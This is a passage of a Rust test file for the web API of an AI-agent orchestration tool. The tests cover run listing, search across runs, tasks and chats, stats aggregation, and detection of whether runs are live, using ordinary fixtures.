10101 #[tokio::test]
10102 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10103 let f = Fixture::start().await;
10104 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10105 let broken = f.runs().join("20260902-140502-bad");
10106 std::fs::create_dir_all(&broken).expect("run dir");
10107 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10108
10109 let list = f.get("/api/runs").await;
10110 let detail = f.get("/api/runs/20260902-140502-bad").await;
10111
10112 assert_eq!(list.status, 200);
10113 let listed = list.json();
10114 let ids: Vec<&str> = listed
10115 .as_array()
10116 .expect("an array")
10117 .iter()
10118 .map(|r| r["id"].as_str().expect("an id"))
10119 .collect();
10120 assert_eq!(
10121 ids,
10122 vec!["20260902-140501-good"],
10123 "one unreadable run must not cost the operator the whole history"
10124 );
10125 assert_eq!(detail.status, 500);
10126 assert!(
10127 detail.json()["error"]
10128 .as_str()
10129 .is_some_and(|e| e.contains("run.json")),
10130 "the failure names the file to look at: {}",
10131 detail.body
10132 );
10133 let health = f.get("/api/health").await;
10137 assert_eq!(health.json()["runs_unreadable"], 1);
10138 }
10139
10140 #[tokio::test]
10142 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10143 let f = Fixture::start().await;
10144 let runs = f.runs();
10145 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10146 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10147 let path = runs.join("20260902-140502-bbbb").join("run.json");
10150 let mut v: serde_json::Value =
10151 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10152 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10153 std::fs::write(&path, v.to_string()).unwrap();
10154 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10155 std::fs::write(
10156 runs.join("20260902-140503-cccc").join("run.json"),
10157 "{ not json",
10158 )
10159 .unwrap();
10160
10161 let res = f.get("/api/search?scope=runs&q=quokka").await;
10162 assert_eq!(res.status, 200, "{}", res.body);
10163 let v = res.json();
10164 assert_eq!(v["total"], 1, "{v}");
10165 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10166 assert_eq!(v["hits"][0]["field"], "text");
10167 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10168 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10169 assert!(
10170 parts
10171 .iter()
10172 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10173 "{v}"
10174 );
10175 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10176 assert_eq!(
10177 flat, "The Quokka leaks across threads",
10178 "whitespace is collapsed"
10179 );
10180
10181 let both = f
10183 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10184 .await
10185 .json();
10186 assert_eq!(both["total"], 1, "{both}");
10187 let neither = f
10188 .get("/api/search?scope=runs&q=quokka%20zebra")
10189 .await
10190 .json();
10191 assert_eq!(neither["total"], 0, "{neither}");
10192 let stmt = f
10194 .get("/api/search?scope=runs&q=mobile%20first")
10195 .await
10196 .json();
10197 assert_eq!(stmt["total"], 2, "{stmt}");
10198 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10199 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10200 }
10201
10202 #[test]
10203 fn snippet_ignores_terms_longer_than_the_field() {
10204 let terms = ["ok".to_owned(), "elephant".to_owned()];
10205 let parts = snippet_of("ok", &terms);
10206 assert_eq!(
10207 parts,
10208 vec![SnippetPart {
10209 text: "ok".to_owned(),
10210 hit: true
10211 }]
10212 );
10213 }
10214
10215 #[test]
10216 fn snippet_marks_matches_longer_than_the_window() {
10217 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10218 let hit_len = |parts: &[SnippetPart]| -> usize {
10219 parts
10220 .iter()
10221 .filter(|p| p.hit)
10222 .map(|p| p.text.chars().count())
10223 .sum()
10224 };
10225 let total =
10226 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10227
10228 let long = "a".repeat(120);
10229 let parts = snippet_of(&long, std::slice::from_ref(&long));
10230 assert!(hit_len(&parts) > 0, "{parts:?}");
10231 assert!(total(&parts) <= cap);
10232
10233 let ja = "あ".repeat(130);
10234 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10235 assert!(hit_len(&parts) > 0, "{parts:?}");
10236 assert!(total(&parts) <= cap);
10237
10238 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10240 let term = format!("ab{}", "c".repeat(100));
10241 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10242 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10243 assert!(total(&parts) <= cap);
10244
10245 let text = format!("{}z", "a".repeat(119));
10247 let parts = snippet_of(&text, &["a".repeat(120)]);
10248 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10249 }
10250
10251 #[tokio::test]
10252 async fn search_caps_hits_and_snippet_length() {
10253 let f = Fixture::start().await;
10254 let runs = f.runs();
10255 for n in 0..(SEARCH_MAX_HITS + 5) {
10256 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10257 }
10258 let v = f.get("/api/search?scope=runs&q=web").await.json();
10259 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10260 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10261 assert_eq!(v["truncated"], true);
10262 assert!(
10264 v["hits"]
10265 .as_array()
10266 .unwrap()
10267 .iter()
10268 .all(|h| h["run"]["status"] == "merged")
10269 );
10270
10271 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10272 let parts = snippet_of(&long, &["needle".to_owned()]);
10273 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10274 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10275 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10276 }
10277
10278 #[tokio::test]
10279 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10280 let f = Fixture::start().await;
10281 let queue = f.queue();
10282 let mut t = Task::new(
10283 "short title".to_owned(),
10284 "line one\nthe hidden Armadillo detail".to_owned(),
10285 PathBuf::from("/repo/magi"),
10286 Source::Agent {
10287 run: "r1".to_owned(),
10288 node: "chat".to_owned(),
10289 },
10290 );
10291 t.last_error = Some("disk full on /tmp".to_owned());
10292 queue.put(&mut t).expect("file the task");
10293
10294 for (q, want) in [
10295 ("armadillo", 1),
10296 ("disk%20FULL", 1),
10297 ("chat", 1),
10298 ("queued", 1),
10299 ("short%20nothing", 0),
10300 ] {
10301 let v = f
10302 .get(&format!("/api/search?scope=tasks&q={q}"))
10303 .await
10304 .json();
10305 assert_eq!(v["total"], want, "{q}: {v}");
10306 }
10307 for bad in [
10308 "/api/search?scope=tasks&q=",
10309 "/api/search?scope=tasks&q=%20",
10310 "/api/search?scope=chats&q=",
10311 "/api/search?scope=chats&q=%20",
10312 "/api/search?scope=nope&q=a",
10313 "/api/search?q=a",
10314 ] {
10315 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10316 }
10317 }
10318
10319 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10321 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10322 .expect("seat value");
10323 let turns: Vec<serde_json::Value> = turns
10324 .iter()
10325 .map(|(who, body)| {
10326 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10327 })
10328 .collect();
10329 let doc = serde_json::json!({
10330 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10331 "status": status, "turns": turns,
10332 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10333 "seat": seat,
10334 });
10335 let dir = f.home.path().join("talks");
10336 std::fs::create_dir_all(&dir).expect("talks dir");
10337 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10338 }
10339
10340 #[tokio::test]
10341 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10342 let f = Fixture::start().await;
10343 write_talk(
10344 &f,
10345 "20260901-000001-aaaa",
10346 "open",
10347 &[
10348 (
10349 "operator",
10350 "\n Why does the Pangolin cache expire?\nsecond line",
10351 ),
10352 ("agent", "Because the TTL is thirty seconds."),
10353 ],
10354 );
10355 write_talk(
10356 &f,
10357 "20260901-000002-bbbb",
10358 "closed",
10359 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10360 );
10361 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10362
10363 let search = |q: &'static str| {
10364 let f = &f;
10365 async move {
10366 f.get(&format!("/api/search?scope=chats&q={q}"))
10367 .await
10368 .json()
10369 }
10370 };
10371
10372 let v = search("PANGOLIN").await;
10373 assert_eq!(v["scope"], "chats");
10374 assert_eq!(v["total"], 1, "{v}");
10375 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10376 assert_eq!(v["hits"][0]["field"], "title");
10377 assert_eq!(v["unreadable"], 1, "{v}");
10378 let marked: Vec<&str> = v["hits"][0]["snippet"]
10379 .as_array()
10380 .unwrap()
10381 .iter()
10382 .filter(|p| p["hit"] == true)
10383 .map(|p| p["text"].as_str().unwrap())
10384 .collect();
10385 assert_eq!(marked, ["Pangolin"]);
10386
10387 let v = search("zebra").await;
10389 assert_eq!(v["total"], 1, "{v}");
10390 assert_eq!(v["hits"][0]["field"], "agent");
10391 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10393 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10394 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10396 assert_eq!(search(q).await["total"], 0, "{q}");
10397 }
10398 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10400 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10402
10403 let v = f.get("/api/search?scope=nope&q=a").await;
10404 assert_eq!(v.status, 400);
10405 assert!(
10406 v.body.contains("scope must be runs, tasks or chats"),
10407 "{}",
10408 v.body
10409 );
10410 }
10411
10412 #[test]
10413 fn a_question_card_links_a_task_id_to_the_task_page() {
10414 let start = APP_JS
10415 .find("function updateAskCard(")
10416 .expect("updateAskCard exists");
10417 let body = &APP_JS[start..];
10418 let body = &body[..body.find("\n}\n").expect("function end")];
10419 assert!(body.contains("question.run_is_task"));
10420 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10421 assert!(body.contains("`#/runs/${question.run}`"));
10422 assert!(body.contains("\"task\" : \"run\""));
10423 }
10424
10425 #[test]
10426 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10427 let start = APP_JS
10428 .find("function scheduleSearch(")
10429 .expect("scheduleSearch exists");
10430 let body = &APP_JS[start..];
10431 let body = &body[..body.find("\n}\n").expect("function end")];
10432 assert!(body.contains("s.seq += 1"));
10433 }
10434
10435 #[tokio::test]
10440 async fn stats_runs_unreadable_matches_health() {
10441 let f = Fixture::start().await;
10442 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10443 let broken = f.runs().join("20260902-140502-bad");
10444 std::fs::create_dir_all(&broken).expect("run dir");
10445 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10446
10447 let stats = f.get("/api/stats").await;
10448 let health = f.get("/api/health").await;
10449
10450 assert_eq!(stats.status, 200);
10451 assert_eq!(stats.json()["totals"]["runs"], 1);
10452 assert_eq!(stats.json()["runs_unreadable"], 1);
10453 assert_eq!(
10454 stats.json()["runs_unreadable"],
10455 health.json()["runs_unreadable"],
10456 "the dashboard and /api/health must never disagree about how many \
10457 runs could not be read"
10458 );
10459 }
10460
10461 #[tokio::test]
10462 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10463 let f = Fixture::start().await;
10464 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10465 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10466 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10467
10468 let totals = &f.get("/api/stats").await.json()["totals"];
10469 assert_eq!(totals["runs"], 3);
10470 assert_eq!(totals["merged"], 1);
10471 assert_eq!(totals["stalled"], 1);
10472 assert_eq!(totals["in_progress"], 1);
10473 assert_eq!(totals["blocked"], 0);
10476 assert_eq!(totals["ready"], 0);
10477 }
10478
10479 #[tokio::test]
10480 async fn stats_advisors_report_proposals_and_reflection() {
10481 use crate::advise::{Advice, AdvisorRecord, Reflection};
10482 use crate::verdict::Proposal;
10483
10484 let f = Fixture::start().await;
10485 let mut state = RunState::new(
10486 PathBuf::from("/repo/magi"),
10487 "main".to_owned(),
10488 "0123456789abcdef".to_owned(),
10489 "task".to_owned(),
10490 Config::default(),
10491 );
10492 state.id = "20260902-140501-a".to_owned();
10493 state.status = RunStatus::Merged;
10494 state.advice = Some(Advice {
10495 records: vec![
10496 AdvisorRecord {
10497 seat: "advisor-1".to_owned(),
10498 agent: "alpha".to_owned(),
10499 proposal: Some(Proposal {
10500 approach: "do it".to_owned(),
10501 key_tradeoff: "speed over memory".to_owned(),
10502 risks: Vec::new(),
10503 touches: Vec::new(),
10504 why_not_naive: "breaks under load".to_owned(),
10505 }),
10506 error: None,
10507 duration_ms: 0,
10508 reflection: Reflection::Strong,
10509 },
10510 AdvisorRecord {
10511 seat: "advisor-2".to_owned(),
10512 agent: "alpha".to_owned(),
10513 proposal: None,
10514 error: Some("timed out".to_owned()),
10515 duration_ms: 0,
10516 reflection: Reflection::Absent,
10517 },
10518 ],
10519 synthesis: Some("blended brief".to_owned()),
10520 });
10521 let dir = f.runs().join(&state.id);
10522 std::fs::create_dir_all(&dir).expect("run dir");
10523 std::fs::write(
10524 dir.join("run.json"),
10525 serde_json::to_string_pretty(&state).expect("serialize run"),
10526 )
10527 .expect("write run.json");
10528
10529 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10530 let alpha = advisors
10531 .as_array()
10532 .expect("an array")
10533 .iter()
10534 .find(|a| a["agent"] == "alpha")
10535 .expect("alpha row");
10536 assert_eq!(alpha["seated"], 2);
10537 assert_eq!(alpha["proposed"], 1);
10538 assert_eq!(alpha["absent"], 1);
10539 assert_eq!(alpha["strong"], 1);
10540 assert_eq!(alpha["faint"], 0);
10541 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10542 }
10543
10544 #[tokio::test]
10545 async fn stats_release_bumps_split_clean_from_attention() {
10546 use crate::run::ReleaseBump;
10547
10548 let f = Fixture::start().await;
10549
10550 let mut clean = RunState::new(
10551 PathBuf::from("/repo/magi"),
10552 "main".to_owned(),
10553 "0123456789abcdef".to_owned(),
10554 "task".to_owned(),
10555 Config::default(),
10556 );
10557 clean.id = "20260902-140501-a".to_owned();
10558 clean.status = RunStatus::Merged;
10559 clean.release_bump = Some(ReleaseBump {
10560 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10561 version: Some("1.0.0".to_owned()),
10562 automerge_enabled: true,
10563 merged_directly: false,
10564 local: false,
10565 release: None,
10566 problem: None,
10567 action_required: None,
10568 });
10569
10570 let mut blocked = RunState::new(
10571 PathBuf::from("/repo/magi"),
10572 "main".to_owned(),
10573 "0123456789abcdef".to_owned(),
10574 "task".to_owned(),
10575 Config::default(),
10576 );
10577 blocked.id = "20260902-140502-b".to_owned();
10578 blocked.status = RunStatus::Merged;
10579 blocked.release_bump = Some(ReleaseBump {
10580 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10581 version: Some("1.0.1".to_owned()),
10582 automerge_enabled: false,
10583 merged_directly: false,
10584 local: false,
10585 release: None,
10586 problem: Some("checks red".to_owned()),
10587 action_required: Some("look at the PR".to_owned()),
10588 });
10589
10590 for state in [&clean, &blocked] {
10591 let dir = f.runs().join(&state.id);
10592 std::fs::create_dir_all(&dir).expect("run dir");
10593 std::fs::write(
10594 dir.join("run.json"),
10595 serde_json::to_string_pretty(state).expect("serialize run"),
10596 )
10597 .expect("write run.json");
10598 }
10599
10600 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10601 assert_eq!(bumps["merged"], 2);
10602 assert_eq!(bumps["recorded"], 2);
10603 assert_eq!(bumps["pr_opened"], 2);
10604 assert_eq!(bumps["automerge_enabled"], 1);
10605 assert_eq!(bumps["needs_attention"], 1);
10606 assert_eq!(bumps["clean"], 1);
10607 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10608 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10609 }
10610
10611 #[tokio::test]
10612 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10613 let f = Fixture::start().await;
10614 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10615
10616 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10617 assert_eq!(bumps["merged"], 1);
10618 assert_eq!(bumps["recorded"], 0);
10619 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10622 assert_eq!(bumps["automerge_rate"], Value::Null);
10625 assert_eq!(bumps["attention_rate"], Value::Null);
10626 }
10627
10628 #[tokio::test]
10629 async fn stats_queue_counts_come_from_the_live_queue() {
10630 let f = Fixture::start().await;
10631 let q = f.queue();
10632 let mut queued = Task::new(
10633 "queued task".to_owned(),
10634 "do it".to_owned(),
10635 PathBuf::from("/repo"),
10636 Source::Human,
10637 );
10638 q.put(&mut queued).expect("put queued");
10639 let mut held = Task::new(
10640 "held task".to_owned(),
10641 "do it later".to_owned(),
10642 PathBuf::from("/repo"),
10643 Source::Human,
10644 );
10645 held.hold_machine(Some("out of attempts".to_owned()));
10646 q.put(&mut held).expect("put held");
10647
10648 let queue = f.get("/api/stats").await.json()["queue"].clone();
10649 assert_eq!(queue["queued"], 1);
10650 assert_eq!(queue["held"], 1);
10651 assert_eq!(queue["running"], 0);
10652 assert_eq!(queue["done"], 0);
10653 assert_eq!(queue["failed"], 0);
10654 assert_eq!(queue["blocked"], 0);
10655 }
10656
10657 #[tokio::test]
10658 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10659 let f = Fixture::start().await;
10660 let stats = f.get("/api/stats").await;
10661 assert_eq!(stats.status, 200);
10662 assert_eq!(stats.json()["totals"]["runs"], 0);
10663 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10664 assert_eq!(stats.json()["runs_unreadable"], 0);
10665 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10666 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10667 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10668 assert_eq!(stats.json()["repo"], Value::Null);
10669 }
10670
10671 #[tokio::test]
10672 async fn stats_lists_every_repository_with_runs_recorded() {
10673 let f = Fixture::start().await;
10674 write_run_repo(
10675 &f.runs(),
10676 "20260902-140501-a",
10677 RunStatus::Merged,
10678 "/repos/a",
10679 );
10680 write_run_repo(
10681 &f.runs(),
10682 "20260902-140502-b",
10683 RunStatus::Merged,
10684 "/repos/a",
10685 );
10686 write_run_repo(
10687 &f.runs(),
10688 "20260902-140503-c",
10689 RunStatus::Blocked,
10690 "/repos/b",
10691 );
10692
10693 let stats = f.get("/api/stats").await;
10694 assert_eq!(stats.status, 200);
10695 assert_eq!(stats.json()["totals"]["runs"], 3);
10697 assert_eq!(stats.json()["repo"], Value::Null);
10698
10699 let repos = stats.json()["repos"].clone();
10700 let repos = repos.as_array().unwrap();
10701 assert_eq!(repos.len(), 2);
10702 assert_eq!(repos[0]["repo"], "/repos/a");
10704 assert_eq!(repos[0]["name"], "a");
10705 assert_eq!(repos[0]["runs"], 2);
10706 assert_eq!(repos[1]["repo"], "/repos/b");
10707 assert_eq!(repos[1]["runs"], 1);
10708 }
10709
10710 #[tokio::test]
10711 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10712 let f = Fixture::start().await;
10713 write_run_repo(
10714 &f.runs(),
10715 "20260902-140501-a",
10716 RunStatus::Merged,
10717 "/repos/a",
10718 );
10719 write_run_repo(
10720 &f.runs(),
10721 "20260902-140502-b",
10722 RunStatus::Blocked,
10723 "/repos/b",
10724 );
10725
10726 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10727 assert_eq!(stats.status, 200);
10728 assert_eq!(stats.json()["totals"]["runs"], 1);
10729 assert_eq!(stats.json()["totals"]["merged"], 1);
10730 assert_eq!(stats.json()["repo"], "/repos/a");
10731 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10734 assert_eq!(stats.json()["runs_unreadable"], 0);
10737 }
10738
10739 #[tokio::test]
10740 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10741 let f = Fixture::start().await;
10742 write_run_repo(
10743 &f.runs(),
10744 "20260902-140501-a",
10745 RunStatus::Merged,
10746 "/repos/a",
10747 );
10748
10749 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10750 assert_eq!(stats.status, 404);
10751 }
10752
10753 #[tokio::test]
10754 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10755 let f = Fixture::start().await;
10756 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10757
10758 let summary = f.get("/api/runs").await.json();
10759 let row = &summary[0];
10760 assert_eq!(row["short"], "a1b2");
10761 assert_eq!(row["status"], "ready");
10762 assert_eq!(row["done"], true);
10763 assert_eq!(row["title"], "Add a web UI");
10764 assert_eq!(row["repo_name"], "magi");
10765 assert_eq!(row["judges"], 3);
10766 assert_eq!(row["winner"], Value::Null);
10767 assert_eq!(row["reviews"], 0);
10768
10769 let detail = f.get("/api/runs/a1b2").await;
10772 assert_eq!(detail.status, 200);
10773 assert_eq!(detail.json()["base_branch"], "main");
10774 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10775 }
10776
10777 #[tokio::test]
10785 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10786 let f = Fixture::start().await;
10787
10788 let mut none_run = RunState::new(
10789 PathBuf::from("/repo/magi"),
10790 "main".to_owned(),
10791 "0123456789abcdef".to_owned(),
10792 "Add a web UI".to_owned(),
10793 Config::default(),
10794 );
10795 none_run.id = "20260902-140503-none".to_owned();
10796 none_run.status = RunStatus::Ready;
10797 none_run.merge = Some(crate::run::MergeOutcome {
10798 mode: crate::config::MergeMode::None,
10799 ok: true,
10800 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10801 empty: false,
10802 });
10803 write_state(&f.runs(), &none_run);
10804
10805 let mut pr_run = RunState::new(
10806 PathBuf::from("/repo/magi"),
10807 "main".to_owned(),
10808 "0123456789abcdef".to_owned(),
10809 "Add a web UI".to_owned(),
10810 Config::default(),
10811 );
10812 pr_run.id = "20260902-140504-prcl".to_owned();
10813 pr_run.status = RunStatus::Ready;
10814 pr_run.merge = Some(crate::run::MergeOutcome {
10815 mode: crate::config::MergeMode::Pr,
10816 ok: false,
10817 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10818 empty: false,
10819 });
10820 write_state(&f.runs(), &pr_run);
10821
10822 let summary = f.get("/api/runs").await.json();
10823 let rows: std::collections::HashMap<&str, &Value> = summary
10824 .as_array()
10825 .expect("an array")
10826 .iter()
10827 .map(|r| (r["id"].as_str().expect("an id"), r))
10828 .collect();
10829 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10830 assert_eq!(
10831 rows[none_run.id.as_str()]["unmerged_by_design"],
10832 true,
10833 "a mode-none Ready must be flagged in the list"
10834 );
10835 assert_eq!(
10836 rows[pr_run.id.as_str()]["unmerged_by_design"],
10837 false,
10838 "a Ready reached by a closed pull request is a different case"
10839 );
10840
10841 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10842 assert_eq!(none_detail["status"], "ready");
10843 assert_eq!(none_detail["unmerged_by_design"], true);
10844
10845 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10846 assert_eq!(pr_detail["unmerged_by_design"], false);
10847 }
10848
10849 #[tokio::test]
10854 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10855 let f = Fixture::start().await;
10856 let id = "20260902-140502-bbbb";
10860 let mut state = RunState::new(
10861 PathBuf::from("/repo/magi"),
10862 "main".to_owned(),
10863 "0123456789abcdef".to_owned(),
10864 "Add a web UI".to_owned(),
10865 Config::default(),
10866 );
10867 state.id = id.to_owned();
10868 state.status = RunStatus::Judging;
10869 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10870 let dir = f.runs().join(id);
10871 std::fs::create_dir_all(&dir).expect("run dir");
10872 std::fs::write(
10873 dir.join("run.json"),
10874 serde_json::to_string_pretty(&state).expect("serialize run"),
10875 )
10876 .expect("write run.json");
10877
10878 let cold = f.get(&format!("/api/runs/{id}")).await.json();
10884 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
10885 assert_eq!(cold["live"], "unknown", "{cold}");
10886
10887 write_daemon(f.home.path(), Timestamp::now());
10890 let warm = f.get(&format!("/api/runs/{id}")).await.json();
10891 assert_eq!(warm["live"], "live", "{warm}");
10892 }
10893
10894 #[tokio::test]
10897 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
10898 let f = Fixture::start().await;
10899 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
10900 let mut state = RunState::new(
10901 PathBuf::from("/repo/magi"),
10902 "main".to_owned(),
10903 "0123456789abcdef".to_owned(),
10904 "Add a web UI".to_owned(),
10905 Config::default(),
10906 );
10907 state.id = id.to_owned();
10908 state.origin = origin;
10909 let mut value = serde_json::to_value(&state).expect("serialize run");
10910 if let Some(schema) = schema {
10911 value["schema"] = serde_json::json!(schema);
10912 value.as_object_mut().unwrap().remove("origin");
10913 }
10914 let dir = f.runs().join(id);
10915 std::fs::create_dir_all(&dir).expect("run dir");
10916 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
10917 };
10918 write(
10919 "20260930-092817-ec34",
10920 Some(crate::run::Origin::from_agent_env(
10921 Some(("4a7b".to_owned(), "chat".to_owned())),
10922 None,
10923 )),
10924 None,
10925 );
10926 write("20260930-092817-0ld1", None, Some(12));
10927
10928 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
10929 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
10930 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
10931
10932 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
10933 assert_eq!(
10934 old["origin_label"], "origin unknown (started before origins were recorded)",
10935 "{old}"
10936 );
10937 assert!(old["origin"].is_null(), "{old}");
10938
10939 let list = f.get("/api/runs").await.json();
10940 let labels: Vec<_> = list
10941 .as_array()
10942 .unwrap()
10943 .iter()
10944 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
10945 .collect();
10946 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
10947 }
10948
10949 #[tokio::test]
10956 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
10957 let f = Fixture::start().await;
10958 let id = "20260922-090000-cccc";
10959 let mut state = RunState::new(
10960 PathBuf::from("/repo/magi"),
10961 "main".to_owned(),
10962 "0123456789abcdef".to_owned(),
10963 "Review only".to_owned(),
10964 Config::default(),
10965 );
10966 state.id = id.to_owned();
10967 state.status = RunStatus::Reviewing;
10968 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10969 state.driver_pid = Some(std::process::id());
10975 state.driver_started_at = Some(
10976 crate::proc::process_started_at(std::process::id())
10977 .expect("this test process's own start time must be queryable"),
10978 );
10979 let dir = f.runs().join(id);
10980 std::fs::create_dir_all(&dir).expect("run dir");
10981 std::fs::write(
10982 dir.join("run.json"),
10983 serde_json::to_string_pretty(&state).expect("serialize run"),
10984 )
10985 .expect("write run.json");
10986
10987 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10988 assert_eq!(detail["live"], "live", "{detail}");
10989 }
10990
10991 #[tokio::test]
10997 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
10998 let f = Fixture::start().await;
10999 let id = "20260922-090100-dddd";
11000 let mut state = RunState::new(
11001 PathBuf::from("/repo/magi"),
11002 "main".to_owned(),
11003 "0123456789abcdef".to_owned(),
11004 "Review only".to_owned(),
11005 Config::default(),
11006 );
11007 state.id = id.to_owned();
11008 state.status = RunStatus::Reviewing;
11009 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11010 state.driver_pid = Some(std::process::id());
11015 state.driver_started_at = Some("1".to_owned());
11016 let dir = f.runs().join(id);
11017 std::fs::create_dir_all(&dir).expect("run dir");
11018 std::fs::write(
11019 dir.join("run.json"),
11020 serde_json::to_string_pretty(&state).expect("serialize run"),
11021 )
11022 .expect("write run.json");
11023
11024 let detail = f.get(&format!("/api/runs/{id}")).await.json();
11025 assert_eq!(detail["live"], "dead", "{detail}");
11026 }
11027
11028 #[test]
11032 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11033 let mk = |id: &str, pid: Option<u32>| {
11034 let mut s = RunState::new(
11035 PathBuf::from("/repo/magi"),
11036 "main".to_owned(),
11037 "0123456789abcdef".to_owned(),
11038 "Add a web UI".to_owned(),
11039 Config::default(),
11040 );
11041 s.id = id.to_owned();
11042 s.driver_pid = pid;
11043 s.driver_started_at = Some("1790000000".to_owned());
11044 s
11045 };
11046 let states = vec![
11047 mk("20260902-140502-aaaa", Some(77)),
11048 mk("20260902-140502-bbbb", Some(77)),
11049 mk("20260902-140502-cccc", Some(77)),
11050 mk("20260902-140502-dddd", None),
11051 ];
11052 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
